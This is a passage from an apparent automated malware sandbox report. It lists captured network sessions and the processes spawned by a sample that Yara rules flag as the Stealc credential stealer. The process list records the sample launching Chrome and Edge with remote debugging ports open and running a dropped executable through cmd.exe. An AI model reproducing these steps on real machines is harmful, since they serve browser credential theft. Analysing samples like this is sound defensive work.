142	192.168.2.5	49928	104.117.182.66	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:22:02 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:22:02 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=314132 Expires: Fri, 29 Nov 2024 06:37:34 GMT Date: Mon, 25 Nov 2024 15:22:02 GMT Connection: close
2024-11-25 15:22:02 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:22:02 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:22:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:22:02 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: fb43cdc2-901e-0064-4ebf-3ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152202Z-178bfbc474bscnbchC1NYCe7eg00000007x000000000066k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:22:02 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:22:02 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:22:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:22:02 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4857c71c-401e-0067-7e3a-3c09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152202Z-15b8b599d88tmlzshC1TEB4xpn00000005z000000000h6a9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:22:02 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:22:02 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:22:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:22:02 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 198a258a-e01e-000c-1dbf-3e8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152202Z-178bfbc474bpscmfhC1NYCfc2c000000064g00000000qg2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:22:02 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:22:02 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:22:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:22:02 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: abed2815-c01e-0046-0275-3d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152202Z-15b8b599d889fz52hC1TEB59as000000063g00000000ae25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:22:03 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	49927	20.190.147.1	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:22:02 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 15:22:02 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 15:22:03 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 15:21:03 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C544_BL2 x-ms-request-id: 3885e60d-d769-4208-9f45-aa25c97c3106 PPServer: PPV: 30 H: BL02EPF0001D8E0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 15:22:02 GMT Connection: close Content-Length: 11409
2024-11-25 15:22:03 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:22:03 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:22:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:22:03 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bc0c8c97-701e-0053-1e45-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152203Z-178bfbc474brk967hC1NYCfu6000000007fg0000000086ux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:22:03 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:22:04 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:22:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:22:04 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 8b201486-c01e-008d-1417-3e2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152204Z-178bfbc474b9xljthC1NYCtw9400000007g000000000kpbt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:22:04 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Target ID:	0
Start time:	10:21:02
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xec0000
File size:	1'771'008 bytes
MD5 hash:	3C0FDC03AF4EE57E1FB552F41E86CFBA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2058605500.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2558172781.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2558803779.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2558803779.0000000000F8C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:21:13
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:21:15
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2180,i,12856717172867170866,9707093815161414423,262144 /prefetch:8
Imagebase:	0x7ff6d64d0000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:21:24
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:21:24
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2216,i,4508490612143711048,6364152533651127459,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:21:24
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	10:21:25
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2668 --field-trial-handle=2224,i,368824053774617721,8123547316380862062,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	10:21:29
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6864 --field-trial-handle=2224,i,368824053774617721,8123547316380862062,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:21:29
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7036 --field-trial-handle=2224,i,368824053774617721,8123547316380862062,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:21:52
Start date:	25/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJKEGIDGDGH.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	10:21:52
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	10:22:25
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=4640 --field-trial-handle=2224,i,368824053774617721,8123547316380862062,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
